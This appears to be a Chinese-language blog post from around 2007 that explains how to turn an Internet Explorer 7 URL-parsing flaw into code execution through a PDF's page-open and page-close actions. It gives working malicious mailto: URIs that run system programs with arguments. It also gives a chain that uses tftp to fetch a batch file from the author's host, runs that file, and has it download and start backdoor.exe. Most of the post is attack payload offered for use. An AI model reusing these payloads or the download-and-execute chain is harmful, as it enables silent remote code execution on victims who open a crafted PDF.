右鍵另存再打開測試文檔，否則會調(diào)用IE的插件打開，測試會失敗。如果你硬要通過點(diǎn)擊打開的話，點(diǎn)擊這里吧,嘿嘿，這本身也是IE的一個解析漏洞。
在http://seclists.org/fulldisclosure/2007/Oct/0068.html看到這個漏洞的時候，一時還沒有想到怎么利用。后來結(jié)合去年有一個關(guān)于 actions安全隱患的這么一個問題(參看http://michaeldaw.org/md-hacks/backdooring-pdf-files/)，pdf中的actions中打開頁面的事件剛好可以用來利用。
Petko Petkov之前放出話說pdf的0day應(yīng)該也就是指的是這個漏洞了。利用這個漏洞首先需要安裝IE7，在URL解析時遇到百分號(%)會執(zhí)行后面的程序。放出來的利用方式為：
以下是代碼片段：
mailto:test%../../../../windows/system32/calc.exe".cmd
http:%xx../../../../../../../../../../../windows/system32/calc.exe".
利用這種URL咱們可以執(zhí)行系統(tǒng)中的任意命令了，但是有一點(diǎn)用處的系統(tǒng)命令都得加參數(shù)才能用啊。怎么加入?yún)?shù)呢?反正放在.cmd前就行，但是必須放在引號(")后面，呵呵，其實沒的選。經(jīng)過測試，下面的語句就ok了：
以下是代碼片段：
mailto:test%../../../../windows/system32/net.exe" “user”.cmd
要有多個參數(shù)的話就的
以下是代碼片段：
mailto:test%../../../../windows/system32/xxx.exe" “argv1” ”argv2“.cmd
到這里，基本上大家也就有了利用辦法了，網(wǎng)絡(luò)COPY命令，TFTP等都行啊。不過得分兩步：
1.下載程序
2.執(zhí)行程序
還有一點(diǎn)要注意的，最好在打開頁面事件和關(guān)閉頁面時間中加入上面兩步，以免因為網(wǎng)速問題造成程序執(zhí)行不成功。
以下是代碼片段：
mailto:test%........windowssystem32tftp.exe" "-i" "zwell.3322.org"
"GET" "a.bat" "c:a".cmd
mailto:test%........windowssystem32cmd.exe" "/c c:a".cmd
在zwell.3322.org上我搭建了一個TFTP，里面放有一個a.cmd，內(nèi)容就是再去下載執(zhí)行一個程序。
在pdf打開首頁時執(zhí)行第一條指令，下載服務(wù)器上的a.bat，保存為a.cmd(為什么是cmd，大家可以思考一下)。
在離開該頁面時，再執(zhí)行已經(jīng)下載的a.cmd，其實他是個bat文件，內(nèi)容是：
以下是代碼片段：
cmd /c tftp -i zwell.3322.org GET backdoor.exe c:b.exe
start c:b.exe
好了，現(xiàn)在下載了backdoor.exe程序(這只是一個notepad程序，我重命名了)并且執(zhí)行了。